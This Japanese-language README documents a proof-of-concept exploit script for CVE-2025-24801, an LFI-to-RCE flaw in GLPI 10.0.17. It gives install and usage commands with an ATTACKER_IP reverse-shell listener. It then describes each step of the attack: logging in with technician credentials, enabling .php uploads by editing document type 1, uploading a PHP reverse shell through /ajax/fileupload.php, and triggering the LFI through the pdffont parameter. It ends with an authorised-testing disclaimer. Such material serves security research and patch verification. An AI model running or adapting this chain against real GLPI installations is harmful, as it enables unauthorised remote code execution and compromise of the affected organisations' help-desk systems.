CVE-2025-24801 GLPI RCE の PoC

このリポジトリには、GLPI 10.0.17 の LFI から RCE に至る脆弱性 CVE-2025-24801 を悪用する概念実証スクリプト (poc.py) が含まれています。自動化する内容は以下の通りです：

• GLPI へのログイン
• 文書タイプ設定の更新による .php アップロードの有効化
• AJAX ファイルアップロードエンドポイントを介した PHP リバースシェルのアップロード

🛠️ インストール

git clone https://github.com/fatkz/CVE-2025-24801.git
cd CVE-2025-24801
pip install -r requirements.txt

🚀 使用方法

python3 poc.py \
  --url https://target.example.com/glpi \
  --user TECHNICIAN_USER \
  --password "PASSWORD" \
  --lhost ATTACKER_IP \
  --lport 4444

• --url: GLPI インスタンスのベース URL (例: https://example.com/glpi)
• --user / --password: 有効な GLPI 技術者認証情報
• --lhost / --lport: 攻撃者の IP とリバースシェルリスナーのポート

スクリプトはデフォルトで --doc-id 1 を使用し、最初の文書タイプを更新します。

実行後、スクリプトは以下の操作を行います：

1. ログインしてセッションを確立する
2. 文書タイプ ID 1 を更新して .php アップロードを有効にする
3. PHP リバースシェルペイロードを含む exploit.php をアップロードする

その後、PDF フォントインクルードでアップロードしたファイル名を指定して (例えばレポートエクスポート機能を介して) LFI を手動でトリガーし、RCE を達成する必要があります。

📑 動作の仕組み

1. ログイン: /front/login.php から CSRF トークンを抽出し、認証のために資格情報を送信します。
2. PHP アップロードの有効化: /front/documenttype.form.php?id=1 を取得し、CSRF トークンを解析し、許可する拡張子に php を追加します。
3. シェルのアップロード: CSRF トークンを得るために /front/ticket.form.php を取得し、その後 /ajax/fileupload.php (X-Requested-With: XMLHttpRequest 付き) を使用して PHP リバースシェルをアップロードします。
4. RCE のトリガー: レポートエクスポート時に pdffont パラメータでアップロードしたシェルのファイル名を指定して、PDF フォントの LFI を手動で呼び出します。

⚠️ 免責事項

このツールは、許可されたセキュリティテストおよび教育目的のみを意図しています。明示的な許可なくシステムに対して使用しないでください。

---

教育および許可されたペネトレーションテスト目的で作成されました。